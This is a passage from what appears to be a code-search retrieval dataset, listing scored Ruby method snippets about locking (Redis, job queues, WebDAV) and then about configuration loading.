"text": "def before_enqueue_lock(_meta_id, *args)\n ::Resque.redis.set(lock_id(*args), 1, ex: lock_timeout, nx: true)\n end",
"title": ""
},
{
"docid": "25fc813c14d343170474a5f65ea646fb",
"score": "0.6365951",
"text": "def try_lock()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "fb368af833d0e6ecec23c1a55d202ce7",
"score": "0.63535",
"text": "def check_to_lock submission\n result = check_to_lock_procedure submission\n\n if !result\n check_to_unlock_procedure submission\n end\n\n result\n end",
"title": ""
},
{
"docid": "073f195ad62b010a9150f7fab73a1774",
"score": "0.6343775",
"text": "def lock\n end",
"title": ""
},
{
"docid": "e2c558eb120aea72ff2f694c5b8b841f",
"score": "0.6330818",
"text": "def lock()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "1bdf8c7c1e458d82c8c3b1cfb0a9b855",
"score": "0.627652",
"text": "def lock(*args)\n \"lock:#{name}-#{args.to_s}\"\n end",
"title": ""
},
{
"docid": "c8ea136a0c1de470e04ac1833bb61a55",
"score": "0.6273554",
"text": "def global_lock=(_arg0); end",
"title": ""
},
{
"docid": "c8ea136a0c1de470e04ac1833bb61a55",
"score": "0.6273554",
"text": "def global_lock=(_arg0); end",
"title": ""
},
{
"docid": "5b344ed36092a29b0796d4f926afa739",
"score": "0.62367874",
"text": "def locked; end",
"title": ""
},
{
"docid": "5b344ed36092a29b0796d4f926afa739",
"score": "0.62367874",
"text": "def locked; end",
"title": ""
},
{
"docid": "62d5032fff9271a86c4d82f6c61f7b3f",
"score": "0.6234304",
"text": "def set_lock\n @lock = Lock.where(id: params[:id]).first\n lock_hash()\n end",
"title": ""
},
{
"docid": "166e82c3d8bf43e707aaaf17ea131b14",
"score": "0.61785233",
"text": "def supports_advisory_locks?; end",
"title": ""
},
{
"docid": "dc5b2e0e0ef9de10c2e5331cde17a1ec",
"score": "0.6148089",
"text": "def with_locked_job\n block_called = false\n locker.with_locked_job do |job|\n yield(job)\n block_called = true\n end\n\n raise \"did not call job block\" unless block_called\n end",
"title": ""
},
{
"docid": "ed88a5701847a55abbf3701a23fb1119",
"score": "0.614268",
"text": "def process_lock\n @process_lock ||= begin\n RedisLock.new(\"process:#{job_digest}\", ProcessDigest.digest,\n timeout: options[LOCK_TIMEOUT_KEY],\n expires: options[LOCK_EXPIRATION_KEY]\n )\n end\n end",
"title": ""
},
{
"docid": "bc0e1e2419a2f338881e848c71440794",
"score": "0.6142441",
"text": "def lock_job\n log(:at => \"lock_job\")\n job = nil\n while @running\n @queues.each do |queue|\n if job = queue.lock\n return [queue, job]\n end\n end\n @conn_adapter.wait(@wait_interval, *@queues.map {|q| q.name})\n end\n end",
"title": ""
},
{
"docid": "68e8bd0de0b314bd22347faa1a54785f",
"score": "0.6138692",
"text": "def set_lock\n @lock = Lock.find(params[:id])\n end",
"title": ""
},
{
"docid": "a9caa8704c0169d03acd1c61f7d46aee",
"score": "0.6138242",
"text": "def locking_enabled?; end",
"title": ""
},
{
"docid": "fb127afb655b22988cea794c54e71aff",
"score": "0.61188984",
"text": "def lock; end",
"title": ""
},
{
"docid": "fb127afb655b22988cea794c54e71aff",
"score": "0.61188984",
"text": "def lock; end",
"title": ""
},
{
"docid": "fb127afb655b22988cea794c54e71aff",
"score": "0.61188984",
"text": "def lock; end",
"title": ""
},
{
"docid": "b06ed7ccd4fd4e0e6c599b313eef4476",
"score": "0.61033505",
"text": "def disable_jobs_and_lock\n return false if can_set_inactive? && !disable_jobs_and_update\n block\n end",
"title": ""
},
{
"docid": "141dad8fd4b568905f0b57f219e1859f",
"score": "0.60920656",
"text": "def lock!\n @locked = true\n end",
"title": ""
},
{
"docid": "3f2ad01f8a5835fcd0497445a9dee80e",
"score": "0.6089449",
"text": "def lock\n post 'lock'\n end",
"title": ""
},
{
"docid": "08a4ab49c4906c79f8e7a7b676d43cbf",
"score": "0.60893756",
"text": "def io_lock=(_arg0); end",
"title": ""
},
{
"docid": "3b56676ab6ed371b120a1ec01a0b77ca",
"score": "0.60849583",
"text": "def acquire_lock!\n raise 'unable to lock maildrop' unless lock.nil?\n self.lock = Lock.new\n self.save\n self.lock\n end",
"title": ""
},
{
"docid": "15cd3fed4762b338f61d76628da1eb74",
"score": "0.6071303",
"text": "def try_lock\n lock_id = (Time.now + expire_timeout).to_f.to_s\n lock_full_ident = owner_ident(lock_id)\n !!if @multi\n if redis_pool.msetnx(*@ns_names.map {|k| [k, lock_full_ident]}.flatten)\n @locked_id = lock_id\n @locked_owner_id = lock_full_ident\n end\n elsif redis_pool.setnx(@ns_names.first, lock_full_ident)\n @locked_id = lock_id\n @locked_owner_id = lock_full_ident\n end\n end",
"title": ""
},
{
"docid": "8f09f30c3e945a7181ad0642c51ba796",
"score": "0.60649186",
"text": "def obtain_job_lock(job)\n lock_key = job_lock_key(job)\n\n set_expiring_key(job) unless redis.get(lock_key)\n end",
"title": ""
},
{
"docid": "c84f5c0176ec0ae79035c21fbf90873c",
"score": "0.6056828",
"text": "def lock!\n @lock_timestamp = Time.now\n end",
"title": ""
},
{
"docid": "0e32e0e0e20cb46d76c8fedfd63d33b4",
"score": "0.6053174",
"text": "def object_lock_mode; end",
"title": ""
},
{
"docid": "8ecc075a271f65c3ef896e2b37933de6",
"score": "0.6047994",
"text": "def lock(*args)\n \"#{name}-#{args.to_s}\"\n end",
"title": ""
},
{
"docid": "8c895b876accac3f141db066211cb002",
"score": "0.6043575",
"text": "def lock\n control_connection.write ControlPacket.new(:lock).serialize\n end",
"title": ""
},
{
"docid": "2444495b9984bd038daa38d76104685f",
"score": "0.60291415",
"text": "def lock(wait: nil)\n method_name = wait ? :primed_async : :primed_sync\n redis(redis_pool) do |conn|\n lock!(conn, method(method_name), wait) do\n return job_id\n end\n end\n end",
"title": ""
},
{
"docid": "7ae4012e52e7ecf047ae731b30df2047",
"score": "0.60279036",
"text": "def update_locked_state() end",
"title": ""
},
{
"docid": "23721a42defdcf0bdf131c61522b4ef6",
"score": "0.59920776",
"text": "def lock!(options = {sleeptime: 1})\n\t\tself.reload\n\t\tself.locked = true\n if options[:sleeptime] > 8\n raise \"Optimistic locking failed\"\n end\n\t\tself.locked_at = Time.now\n\t\tbegin\n\t\t self.save\n\t\trescue ActiveRecord::StaleObjectError\n\t\t\terror(\"seems like the job with the id #{self.id} has been modified by somebody else, will retry to re-lock the job in #{options[:sleeptime] * 2} seconds.\")\n\t\t\tsleep options[:sleeptime]\n\t\t\tself.lock!(sleeptime: options[:sleeptime] * 2)\n\t\tend\n\n\tend",
"title": ""
},
{
"docid": "156eefdc800ee0e0ff51d2c89341c3b8",
"score": "0.5983158",
"text": "def open_lock x, y, z\n [x, y, z] == [3, 7, 2]\nend",
"title": ""
},
{
"docid": "3a60fc95abc0889dbd7492ecaadc8cec",
"score": "0.5979817",
"text": "def supportedlock\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "f6e956689676f991c20eefac972a12f9",
"score": "0.5972067",
"text": "def global_lock; end",
"title": ""
},
{
"docid": "f6e956689676f991c20eefac972a12f9",
"score": "0.5972067",
"text": "def global_lock; end",
"title": ""
},
{
"docid": "821c69a0c50e4bddb838721e9bde015b",
"score": "0.59699446",
"text": "def lock\n @locked = !@locked\n end",
"title": ""
},
{
"docid": "a7551b39ae3bacf530ed8c56baadd35b",
"score": "0.5968095",
"text": "def lock(*args)\n mutex = new(*args)\n mutex if mutex.lock\n end",
"title": ""
},
{
"docid": "b76f460b08487589ba2aa1b15d67b752",
"score": "0.5959613",
"text": "def blocking_locks\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "f41b8854d5bea114cb0ff8eb2955ff77",
"score": "0.5931815",
"text": "def allow_concurrency=(_arg0); end",
"title": ""
},
{
"docid": "df51ad88edeee9f04aa96b020aa37ca0",
"score": "0.59202796",
"text": "def lock!\n update_attributes! status: 'locked'\n end",
"title": ""
},
{
"docid": "1cd432522316294fa930902417847a83",
"score": "0.59011436",
"text": "def lock(circuit, state)\n send_all(:lock, circuit, state)\n end",
"title": ""
},
{
"docid": "a9c2376e8a23daffc73ef1d5c4264026",
"score": "0.5897139",
"text": "def lock_name # :nodoc:\n return self.name + '-lock'\n end",
"title": ""
},
{
"docid": "e43b87caa540024ef6f3598562492ea1",
"score": "0.588641",
"text": "def confirm_lock\n\n @trigger_lock.lock\n end",
"title": ""
},
{
"docid": "2988e336005702a0aa5dbf0053fa5bf7",
"score": "0.58765084",
"text": "def lock\n timeout = parse_timeout(@timeout)\n status = 200\n\n reqxml = request.cgi.stdinput.read\n\n Resource.transaction do\n if reqxml.empty?\n # refresh lock\n\n raise NotFoundError if @resource.nil?\n\n # If-header should contain one and only one locktoken\n raise PreconditionFailedError if @if_locktokens.nil? || @if_locktokens.size != 1\n\n @lock = @resource.locks.find_by_uuid(@if_locktokens[0])\n Privilege.raise_permission_denied(@principal) unless @lock.owner == @principal\n @lock.refresh(timeout)\n\n else # create lock\n lock_params = parse_lock(reqxml)\n\n scope = case lock_params[:lockscope].downcase\n when 'exclusive' then 'X'\n when 'shared' then 'S'\n else raise BadRequestError\n end\n\n depth = case @depth\n when 0 then '0'\n when Limeberry::INFINITY then 'I'\n else raise BadRequestError\n end\n\n raise NotImplementedError unless lock_params[:locktype].downcase == 'write'\n\n @lock = Lock.new(:owner => @principal,\n :scope => scope,\n :depth => depth,\n :expires_at => Time.now + timeout,\n :owner_info => lock_params[:owner],\n :lock_root => @path)\n @lock.save!\n\n\n status = 201 if @resource.nil?\n \n headers['Lock-Token'] = \"<#{@lock.locktoken}>\"\n end\n\n end\n\n render :status => status\n rescue ActiveRecord::RecordInvalid\n raise if @lock.dav_errors.empty?\n render :template => \"lock/lock_multi.rxml\", :status => 207\n end",
"title": ""
},
{
"docid": "4c8f4a64ea1b4f3dabf3ab6f4843c51c",
"score": "0.5871454",
"text": "def lock\n acquire_lock\n yield\n rescue StandardError => e\n Chefctl.logger.error(\"Failed inside lock: #{e.inspect}:\" +\n \"\\n #{e.backtrace.join(\"\\n \")}\")\n raise\n ensure\n release_lock\n end",
"title": ""
},
{
"docid": "28466e31531b38cb8634fd88df94a5cf",
"score": "0.58618563",
"text": "def lock\n lock_parents\n lock_children\n end",
"title": ""
},
{
"docid": "a3f9981580a8cfd6d6c6ab8becda9a0d",
"score": "0.5852879",
"text": "def expect_to_work(job)\n with_locked_job do |actual_job|\n expect(actual_job[:job_id]).to eql(job[:job_id])\n expect(Que).to receive(:execute).\n with(\"SELECT pg_advisory_unlock($1)\", [job[:job_id]])\n\n # Destroy the job to simulate the behaviour of the queue, and allow our lock query\n # to discover new jobs.\n QueJob.find(job[:job_id]).destroy!\n end\n end",
"title": ""
},
{
"docid": "43e54a5d20711c52c2c364e1960066a1",
"score": "0.58528227",
"text": "def action_locking_monitor\n lock_value = @redis.get(@lock_key)\n @storage.put(@lock_key, lock_value)\n end",
"title": ""
},
{
"docid": "e02ed40e5e42622544e9b34b6a89bed9",
"score": "0.58452225",
"text": "def update_lock_status(lock)\n if lock && locked_at.blank?\n lock_access!\n elsif !locked_at.blank?\n unlock_access!\n end\n end",
"title": ""
},
{
"docid": "a7d7c0f18d0a6469663834dd5ec41a75",
"score": "0.5845177",
"text": "def test\n create_lock\n acquire_lock\n end",
"title": ""
},
{
"docid": "c1dd8eaaa3603ab95c03f7378fc393c4",
"score": "0.58423203",
"text": "def select_lock_sql(sql)\n super unless @opts[:lock] == :update\n end",
"title": ""
},
{
"docid": "68a75a97ba3c0dceac74f50597fe7876",
"score": "0.5840304",
"text": "def mutex=(_arg0); end",
"title": ""
},
{
"docid": "6dac32f0ce1c237eab86d8c71b4d3bc5",
"score": "0.5834292",
"text": "def get_advisory_lock(lock_id); end",
"title": ""
},
{
"docid": "d29d6e78a9cb19a0a1aee44008663537",
"score": "0.58295256",
"text": "def lock(locks = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "c4ef1ac14b172d1fe1f5da1365e1f1bf",
"score": "0.5825518",
"text": "def try_write_lock; end",
"title": ""
},
{
"docid": "c4ef1ac14b172d1fe1f5da1365e1f1bf",
"score": "0.5825518",
"text": "def try_write_lock; end",
"title": ""
},
{
"docid": "d4aeb21afac199089540a417fd7cff4a",
"score": "0.58225787",
"text": "def select_lock_sql(sql)\n @opts[:lock] == :share ? (sql << ' LOCK IN SHARE MODE') : super\n end",
"title": ""
},
{
"docid": "e45fafec8b1ea7dc653d4a98f2d9d291",
"score": "0.58203113",
"text": "def lock\n @locked = true\n end",
"title": ""
},
{
"docid": "7694a7ffc265d3ebd250f4aef929ad9a",
"score": "0.5816081",
"text": "def locking_mode\n case __ub1(OCI_ATTR_LOCKING_MODE)\n when 0; :lock_immediate\n when 1; :lock_delayed\n end\n end",
"title": ""
},
{
"docid": "23c5bab65de583caae1c99cc303dbbd6",
"score": "0.58091515",
"text": "def lock(circuit, state)\n redis { |r| r.set(lock_key(circuit), state) }\n end",
"title": ""
},
{
"docid": "4e6ff731539f7b2f828379b484e45d41",
"score": "0.5807013",
"text": "def initialize\n # All jobs are blocking by default and they can release the lock when blocking operations\n # are done (if needed)\n @non_blocking = false\n end",
"title": ""
},
{
"docid": "d9f137cf2faf6b217322e8c95a9763f0",
"score": "0.580562",
"text": "def lock_exclusively!(worker)\n now = self.class.db_time_now\n # We don't own this job so we will update the locked_by name and the locked_at\n affected_rows = self.class.where(\"id=? AND locked_at IS NULL AND run_at<=?\", self, now).update_all(\n locked_at: now, locked_by: worker\n )\n if affected_rows == 1\n mark_as_locked!(now, worker)\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "92154624e4dbf0f44f6e20429b5d7a7c",
"score": "0.5805377",
"text": "def set_lock_request\n @lock_request = LockRequest.find(params[:id])\n end",
"title": ""
},
{
"docid": "24f3198403baca4797411cdb01e8a3aa",
"score": "0.5804644",
"text": "def to_lock\n raise AbstractFunction,\n \"#to_lock must be implemented on #{self.class.name}!\"\n end",
"title": ""
},
{
"docid": "d5e3a8b3d3e24673b25e51690e9514aa",
"score": "0.57984716",
"text": "def chef_lock(options = {})\n find_or_new(options).lock\n end",
"title": ""
},
{
"docid": "25ce59b9885111b4adccb6bf5131ae06",
"score": "0.5798336",
"text": "def work\n if job = lock_job\n QC.log_yield(:at => \"work\", :job => job[:id]) do\n process(job)\n end\n end\n end",
"title": ""
},
{
"docid": "25ce59b9885111b4adccb6bf5131ae06",
"score": "0.5798336",
"text": "def work\n if job = lock_job\n QC.log_yield(:at => \"work\", :job => job[:id]) do\n process(job)\n end\n end\n end",
"title": ""
}
] |
6145f0b2ef42a0ff7010a35742664292 | This method is called after config_params have read configuration parameters | [
{
"docid": "0197ab03cb49d5e3b013187c2434798d",
"score": "0.0",
"text": "def configure(conf)\n super\n\n if conf['time_xpath'].nil?\n @time_xpath = nil\n else\n @time_xpath = json_parse(@time_xpath)\n end\n @time_parser = Fluent::TimeParser.new(@time_format)\n @attr_xpaths = json_parse(@attr_xpaths)\n @value_xpaths = json_parse(@value_xpaths)\n # TimeParser class is already given. It takes a single argument as the time format\n # to parse the time string with.\n end",
"title": ""
}
] | [
{
"docid": "305605901d893e36fe63bb24be282f72",
"score": "0.6828409",
"text": "def config=(config); end",
"title": ""
},
{
"docid": "7f99389baa4f4f3bcc4bdd8f811c7db6",
"score": "0.6779348",
"text": "def after_config_update(*_)\n config[:parameters] ||= Smash.new\n config[:compile_parameters] ||= Smash.new\n config[:apply_stack] ||= []\n config[:apply_mapping] ||= Smash.new\n stack_name = arguments.first\n content = load_file_for(stack_name)\n process_information_hash(content, [])\n nil\n end",
"title": ""
},
{
"docid": "4a5b47013b58f944e5da9893afdef915",
"score": "0.6750216",
"text": "def configure_with(params)\r\n\r\n\t\tend",
"title": ""
},
{
"docid": "d4d7937fde6569a62b21db2dc7172a37",
"score": "0.6585124",
"text": "def load_config\n if params[:config].given?\n @config = File.open(File.expand_path(params[:config].value)) { |f| JSON.load(f) }\n\n @config.each do |key, value|\n if params.has_key?(key) and params[key].values == params[key].defaults\n params[key].values = [*value]\n params[key].given = true\n end\n end\n\n end\n end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "2a8a06514acfc42e4e9bd17aa7026d42",
"score": "0.65482616",
"text": "def config; end",
"title": ""
},
{
"docid": "b3d1904db6025102a064c0f4a89ec932",
"score": "0.65479785",
"text": "def setup_config\n # To be Extended\n end",
"title": ""
},
{
"docid": "49b0e6ee1d434f7fdec5afd912a33549",
"score": "0.6542907",
"text": "def get_config\n\t\tend",
"title": ""
},
{
"docid": "84d6c70a70cf9d16b20049e2e14f0cc8",
"score": "0.6538516",
"text": "def post_configure\n # noop\n end",
"title": ""
},
{
"docid": "c68b7edbdff1d068527604b05a84b0ae",
"score": "0.65045923",
"text": "def config=(_arg0); end",
"title": ""
},
{
"docid": "c68b7edbdff1d068527604b05a84b0ae",
"score": "0.65045923",
"text": "def config=(_arg0); end",
"title": ""
},
{
"docid": "c68b7edbdff1d068527604b05a84b0ae",
"score": "0.65045923",
"text": "def config=(_arg0); end",
"title": ""
},
{
"docid": "c68b7edbdff1d068527604b05a84b0ae",
"score": "0.65045923",
"text": "def config=(_arg0); end",
"title": ""
},
{
"docid": "c68b7edbdff1d068527604b05a84b0ae",
"score": "0.65045923",
"text": "def config=(_arg0); end",
"title": ""
},
{
"docid": "01d0ee88c59a8d42fa1fb7c5e4f7d881",
"score": "0.64732665",
"text": "def config\n\n end",
"title": ""
},
{
"docid": "e144c55fb8680de35acf575932b5572e",
"score": "0.6449811",
"text": "def configurations; end",
"title": ""
},
{
"docid": "15b0615799422b6d4250767e0b7a4147",
"score": "0.64154905",
"text": "def config_load(config); end",
"title": ""
},
{
"docid": "82b60275a4fc386c4557a64e55bfa6b0",
"score": "0.6398073",
"text": "def configure\n end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.6395234",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.6395234",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.6395234",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.6395234",
"text": "def configuration; end",
"title": ""
},
{
"docid": "c66bae5aa37aac1df5f61e262d46ce97",
"score": "0.6395234",
"text": "def configuration; end",
"title": ""
},
{
"docid": "dadeb9ba83cd5d1cfd99dc48484614d4",
"score": "0.6343192",
"text": "def after_configuration\n # do nothing by default\n end",
"title": ""
},
{
"docid": "7b22969f07d56c88ea40e4a4ce14e42d",
"score": "0.63165116",
"text": "def set_config(config)\n\t\tend",
"title": ""
},
{
"docid": "c12121ff75a46bb8116e694da6eb4e4e",
"score": "0.631614",
"text": "def configure(conf)\n super\n # Read configuration for tag_infos and create a hash\n @tag_infos = Hash.new\n conf.elements.select { |element| element.name == 'tag_infos' }.each { |element|\n element.each_pair { |info_name, position_in_tag|\n element.has_key?(info_name) # to suppress unread configuration warning\n @tag_infos[info_name] = position_in_tag.to_i\n $log.info \"Added tag_infos: #{info_name}=>#{@tag_infos[info_name]}\"\n }\n }\n\n # configure for highwatermark\n @highwatermark_parameters={\n \"state_tag\" => @state_tag, \n \"state_type\" => @state_type,\n \"state_file\" => @state_file,\n \"redis_host\" => @redis_host,\n \"redis_port\" => @redis_port \n }\n $log.info \"highwatermark_parameters: #{@highwatermark_parameters}\"\n\n end",
"title": ""
},
{
"docid": "703119d2b0362d449b0c32f8aeb14ba8",
"score": "0.6278434",
"text": "def initialize\n set_config\n end",
"title": ""
},
{
"docid": "9911009c138bef6287da59017d3f739b",
"score": "0.620751",
"text": "def load_config_from_database\n @params.each do |p|\n p['value_db'] = @bot_dbaccess.read_parameter_with_default(p['name'], p['default'])\n end\n end",
"title": ""
},
{
"docid": "9911009c138bef6287da59017d3f739b",
"score": "0.620751",
"text": "def load_config_from_database\n @params.each do |p|\n p['value_db'] = @bot_dbaccess.read_parameter_with_default(p['name'], p['default'])\n end\n end",
"title": ""
},
{
"docid": "d45d04a2d1f3d89e2eca91284bdf6a4c",
"score": "0.6201541",
"text": "def setup()\n setupParamListTable(getConf(:paramList)) ;\n super() ;\n end",
"title": ""
},
{
"docid": "1fbd63b8a7edc8fd6312f7b68adb59e1",
"score": "0.61929584",
"text": "def params\n begin\n YAML::load(File.open(@config))\n rescue\n {}\n end\n end",
"title": ""
},
{
"docid": "e94c21f0f8ffe3b16f45d8a092643450",
"score": "0.6171992",
"text": "def parse_config(config); end",
"title": ""
},
{
"docid": "99b12198a130529fe70255a15ca0d3e1",
"score": "0.6155427",
"text": "def config_params\n return_params = {}\n\n return_params[:limit] = hearings_count_limit if hearings_count_limit.present?\n return_params[:after] = scheduled_after_time if scheduled_after_time.present?\n return_params[:include_eastern] = include_eastern if include_eastern.present?\n return_params\n end",
"title": ""
},
{
"docid": "ca3946ec94999fb4f33944d0a2beba66",
"score": "0.61346257",
"text": "def create_config\n self.config = {} if !self.config\n end",
"title": ""
},
{
"docid": "ca3946ec94999fb4f33944d0a2beba66",
"score": "0.61346257",
"text": "def create_config\n self.config = {} if !self.config\n end",
"title": ""
},
{
"docid": "7a8b732ba5af97fd399a8185548b9c55",
"score": "0.611876",
"text": "def process_configuration\n self.configuration = YAML::load(File.read('.codecom.yml'))\n end",
"title": ""
},
{
"docid": "1ee3a543910e83ad7a497985269e7138",
"score": "0.61017466",
"text": "def setup(&blk)\n @config.read(&blk)\n @config\n end",
"title": ""
},
{
"docid": "97c10267eae8b783e0f794785369eb36",
"score": "0.60896796",
"text": "def read_config_file; end",
"title": ""
},
{
"docid": "084b309835ea42db6f8fb60af87191a8",
"score": "0.6063926",
"text": "def configure\n load_all_configs \n end",
"title": ""
},
{
"docid": "476ac44587ec216fa7d27e00ace6e644",
"score": "0.6048962",
"text": "def post_initialization_configuration\n @configuration = HgvMetaConfiguration.new #YAML::load_file(File.join(Rails.root, %w{config hgv.yml}))[:hgv][:metadata]\n @valid_epidoc_attributes = @configuration.keys\n @hybrid = get_hybrid :dclp\n end",
"title": ""
},
{
"docid": "ab13859bbb5271766360a61941fbc421",
"score": "0.6041789",
"text": "def before_configuration_tasks \n end",
"title": ""
},
{
"docid": "4621e393d45037352b0c005f2c556252",
"score": "0.60410774",
"text": "def actual_config\n Config.instance\n end",
"title": ""
},
{
"docid": "f6ff5a750241ed90b8407e8c26a6b933",
"score": "0.60363895",
"text": "def prepare(config)\n @config_helper.parse_config!(config)\n end",
"title": ""
},
{
"docid": "9ec9e8be938cc4a2f839952195c243ca",
"score": "0.60294276",
"text": "def configure; end",
"title": ""
},
{
"docid": "42ff6346cad523eb1ce4e5102a97b9ba",
"score": "0.6025106",
"text": "def load_config()\n self.config = Kitchenplan::Config.new().config\n end",
"title": ""
},
{
"docid": "ba9e10d22212772ac60d40a341ff479e",
"score": "0.60221565",
"text": "def configure(root_config)\n\n end",
"title": ""
},
{
"docid": "4ae9cf0081f1310bb62f720c040e22dd",
"score": "0.6016309",
"text": "def get_actual_config\n @config\n end",
"title": ""
},
{
"docid": "b2abe32b540ec7931884263a132a075c",
"score": "0.6002509",
"text": "def initialize_after_opts\n end",
"title": ""
},
{
"docid": "7216c46dc7770620bd6677180c11c739",
"score": "0.5982047",
"text": "def _init_configuration\n\t\t# Set defaults\n\t\t@setup = { \"create\" => false, \"environment\" => false, \"test\" => true, \"destroy\" => false }\n\t\t@config = false\n\tend",
"title": ""
},
{
"docid": "12d5d72b143c87ccf66454e544d4117f",
"score": "0.5968344",
"text": "def config_store; end",
"title": ""
},
{
"docid": "a8818a1aa59e19bdd7bccb9d0d67999c",
"score": "0.594548",
"text": "def config=(value); end",
"title": ""
},
{
"docid": "4acde77b081afb3228da70a7676ac89d",
"score": "0.59312975",
"text": "def configure(root_config)\n end",
"title": ""
},
{
"docid": "4acde77b081afb3228da70a7676ac89d",
"score": "0.59312975",
"text": "def configure(root_config)\n end",
"title": ""
},
{
"docid": "ef8cf2fe8bfe15bdfcd1cc1a2a6e57da",
"score": "0.59301364",
"text": "def init_config()\n options_apply_filter(\"DEFAULT\")\n end",
"title": ""
},
{
"docid": "12e9be137405f88230254d6d2814ff62",
"score": "0.5929702",
"text": "def load_config\n\t\t# load conifg\n\t\tend",
"title": ""
},
{
"docid": "bdf1e73db370f1c8872225fbf0aa4f54",
"score": "0.5926251",
"text": "def post_initialization_configuration\n @configuration = HgvMetaIdentifierHelper::HgvMetaConfiguration.new #YAML::load_file(File.join(Rails.root, %w{config hgv.yml}))[:hgv][:metadata]\n @valid_epidoc_attributes = @configuration.keys\n end",
"title": ""
},
{
"docid": "1add7d9145130c4948b5f2b3842c07e9",
"score": "0.5915162",
"text": "def set_config(*args); end",
"title": ""
},
{
"docid": "1add7d9145130c4948b5f2b3842c07e9",
"score": "0.5915162",
"text": "def set_config(*args); end",
"title": ""
},
{
"docid": "1add7d9145130c4948b5f2b3842c07e9",
"score": "0.5915162",
"text": "def set_config(*args); end",
"title": ""
},
{
"docid": "1add7d9145130c4948b5f2b3842c07e9",
"score": "0.5915162",
"text": "def set_config(*args); end",
"title": ""
},
{
"docid": "1add7d9145130c4948b5f2b3842c07e9",
"score": "0.5915162",
"text": "def set_config(*args); end",
"title": ""
},
{
"docid": "458ee804d6b1aab502af51c87043f149",
"score": "0.59081405",
"text": "def configure\n\t\t\tyield configuration\n\t\tend",
"title": ""
},
{
"docid": "68607b462c2b23d757314ce7dce94a13",
"score": "0.59030676",
"text": "def configure\n load_configuration\n verify_configuration\n end",
"title": ""
},
{
"docid": "342d7ea8f038b703a8b7efdee5026c8b",
"score": "0.58991516",
"text": "def initializeDefaultParams()\n @fcName = nil # Flowcell name\n @baseCallsDir = nil # BaseCalls dir of the flowcell\n @useBasesMask = nil # Custom value to provide to BCL->FastQ convertor\n @sampleSheet = nil # Path to SampleSheet.csv\n\n yamlConfigFile = PathInfo::CONFIG_DIR + \"/config_params.yml\" \n @configReader = YAML.load_file(yamlConfigFile)\n @queue = SchedulerInfo::CASAVA_QUEUE # The processing queue on the cluster\n end",
"title": ""
},
{
"docid": "5ca9ee74918828a53891f308419f55a4",
"score": "0.5898352",
"text": "def config\n configuration\n end",
"title": ""
},
{
"docid": "728f53c99de736fb3c795905457728c4",
"score": "0.5895675",
"text": "def configure(root_config)\n super(root_config)\n end",
"title": ""
},
{
"docid": "9bc18b7ddc3a14595fd6f1cac84c6d6e",
"score": "0.58752114",
"text": "def before_configuration(&block); end",
"title": ""
},
{
"docid": "f0461ed8be7aae58948f2e378f13b122",
"score": "0.5871963",
"text": "def handle_config\n @node.config\n end",
"title": ""
},
{
"docid": "55519f1ca3074f3f5c5147cb30666a1a",
"score": "0.5868386",
"text": "def config\n @config ||= read_config\n end",
"title": ""
},
{
"docid": "5edac9eb313dd2d82caf4151ca49e7b0",
"score": "0.5866814",
"text": "def post_init\n end",
"title": ""
},
{
"docid": "912007ffad5cf763e8b40e443840ec6f",
"score": "0.58631384",
"text": "def configure(config={})\n config.each do |(key, val)|\n self.config[key] = val\n end\n end",
"title": ""
},
{
"docid": "92bf7d064152c807d031c705f6d0d9d0",
"score": "0.5857678",
"text": "def sync_configuration\n end",
"title": ""
},
{
"docid": "1ad8a511838d758ddcc18c48673e1c30",
"score": "0.5854048",
"text": "def load_config\n @config = YAML.safe_load(ERB.new(File.read(config_path)).result)\n @queue_ahead = @config[\"queue_ahead\"] || Task::DEFAULT_QUEUE_AHEAD_MINUTES\n @queue_name = @config[\"queue_name\"] || \"default\"\n @time_zone = @config[\"tz\"] || Time.zone.tzinfo.name\n @config.delete(\"queue_ahead\")\n @config.delete(\"queue_name\")\n @config.delete(\"tz\")\n end",
"title": ""
},
{
